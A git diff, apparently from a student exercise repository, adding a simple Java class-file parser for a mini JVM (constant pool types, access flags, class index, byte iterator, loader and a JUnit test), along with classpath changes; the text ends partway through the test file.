 .../com/coderising/jvm/clz/ClassFile.java     |  75 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  29 +++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++
 .../jvm/loader/ByteCodeIterator.java          |  40 ++++
 .../jvm/loader/ClassFileLoader.java           | 137 ++++++++++++
 .../jvm/loader/ClassFileParser.java           | 144 +++++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 198 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |   0
 .../com/coderising/jvm/util/Util.java         |  22 ++
 .../coderising/download/FileDownloader.java   |   5 +-
 .../download/impl/ConnectionImpl.java         |   2 +-
 .../download/test/ConnectionTest.java         |  53 +++++
 .../download/test/FileDownloaderTest.java     |  60 ++++++
 .../jvm/loader/ClassFileLoader.java           |  61 ------
 .../jvm/test/ClassFileloaderTest.java         |  85 --------
 .../com/coding/basic/{ => stack}/Stack.java   |   2 +-
 .../src/com/coding/basic/stack/StackUtil.java | 145 +++++++++++++
 .../com/coding/basic/stack/StackUtilTest.java |  82 ++++++++
 29 files changed, 1316 insertions(+), 152 deletions(-)
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
 rename group06/1378560653/{src => mini-jvm}/com/coderising/jvm/test/EmployeeV1.java (100%)
 create mode 100644 group06/1378560653/mini-jvm/com/coderising/jvm/util/Util.java
 create mode 100644 group06/1378560653/src/com/coderising/download/test/ConnectionTest.java
 create mode 100644 group06/1378560653/src/com/coderising/download/test/FileDownloaderTest.java
 delete mode 100644 group06/1378560653/src/com/coderising/jvm/loader/ClassFileLoader.java
 delete mode 100644 group06/1378560653/src/com/coderising/jvm/test/ClassFileloaderTest.java
 rename group06/1378560653/src/com/coding/basic/{ => stack}/Stack.java (94%)
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/StackUtil.java
 create mode 100644 group06/1378560653/src/com/coding/basic/stack/StackUtilTest.java

diff --git a/group06/1378560653/.classpath b/group06/1378560653/.classpath
index 036cc56d25..7bd01a193c 100644
--- a/group06/1378560653/.classpath
+++ b/group06/1378560653/.classpath
@@ -1,8 +1,11 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <classpath>
 	<classpathentry kind="src" path="src"/>
+	<classpathentry kind="src" path="mini-jvm"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
 	<classpathentry kind="lib" path="lib/jdom-2.0.6.jar"/>
+	<classpathentry kind="lib" path="H:/Java/jar/commons-io-2.5-bin/commons-io-2.5/commons-io-2.5.jar"/>
+	<classpathentry kind="lib" path="H:/Java/jar/commons-lang3-3.5-bin/commons-lang3-3.5/commons-lang3-3.5.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group06/1378560653/article.txt b/group06/1378560653/article.txt
index 42b64998ea..5d908b43c6 100644
--- a/group06/1378560653/article.txt
+++ b/group06/1378560653/article.txt
@@ -2,4 +2,5 @@
 �ڶ�ƪ���£�http://blog.csdn.net/raymond120/article/details/58043040
 ����ƪ���£�http://blog.csdn.net/raymond120/article/details/60759278
 ����ƪ���£�http://blog.csdn.net/raymond120/article/details/61937892
-����ƪ���£�http://blog.csdn.net/raymond120/article/details/68665071
\ No newline at end of file
+����ƪ���£�http://blog.csdn.net/raymond120/article/details/68665071
+����ƪ���£�http://blog.csdn.net/raymond120/article/details/68958532
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/AccessFlag.java b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassIndex.java b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9293f1706e
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+	
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	
+	public int nextU1ToInt() {
+		return Util.byteToInt(new byte[]{codes[pos++]});
+	}
+	
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+	}
+	
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+
+	public byte[] getBytes(int length) {
+		if(pos + length >= codes.length){
+			throw new ArrayIndexOutOfBoundsException();
+		}
+		byte[] data = Arrays.copyOfRange(codes, pos, pos+length);
+		pos = pos + length;
+		return data;
+	}
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..12e7096bc5
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,137 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..5c13f9972f
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,144 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.sun.xml.internal.bind.v2.runtime.Name;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		
+		ClassFile clzFile = new ClassFile();
+		
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		
+		//1.magicNumber
+		String magicNumber = iter.nextU4ToHexString();
+	
+		if(!magicNumber.equals("cafebabe")){
+			return null;
+		}
+		
+		//2.Version Number
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+		
+		//3.ConstantPool
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+		
+		//4.AcessFlag
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+		
+		//5.ClassIndex
+		ClassIndex clzIndex = parseClassIndex(iter);
+		clzFile.setClassIndex(clzIndex);
+		
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(iter.nextU2ToInt());
+		clzIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return clzIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		
+		int constantpPoolSize = iter.nextU2ToInt();
+		System.out.println("Constant Pool Size :" + constantpPoolSize);
+		
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());//注意这里
+		
+		for(int i = 1; i < constantpPoolSize; i++){
+			int tag = iter.nextU1ToInt();
+			
+			if(tag == 7) {
+				//ClassInfo
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1){
+				//UTF8Info
+				int length = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(length);
+				String value = null;
+				try {
+					value = new String(data,"UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+				
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				
+				pool.addConstantInfo(utf8Info);	
+			} else if (tag == 8) {
+				//StringInfo
+				int index = iter.nextU2ToInt();
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(index);
+				
+				pool.addConstantInfo(stringInfo);
+			} else if (tag == 9) {
+				//FiledRefInfo
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(classInfoIndex);
+				field.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				pool.addConstantInfo(field);
+			} else if (tag == 10){
+				//MethodRefInfo
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(classInfoIndex);
+				method.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				pool.addConstantInfo(method);
+			} else if(tag == 12){
+				//NameAndTypeInfo
+				int name_index = iter.nextU2ToInt();
+				int descriptor_index = iter.nextU2ToInt();
+				
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setIndex1(name_index);
+				nameAndTypeInfo.setIndex2(descriptor_index);
+				
+				pool.addConstantInfo(nameAndTypeInfo);
+			} else {
+				throw new RuntimeException("the constant pool tag " + tag + "has not been implemented yet");
+			}
+		}
+		return pool;
+	}
+
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..61f592aaa4
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,198 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "H:\\github\\coding2017\\group06\\1378560653\\bin";
+	static String path2 = "C:\\Temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
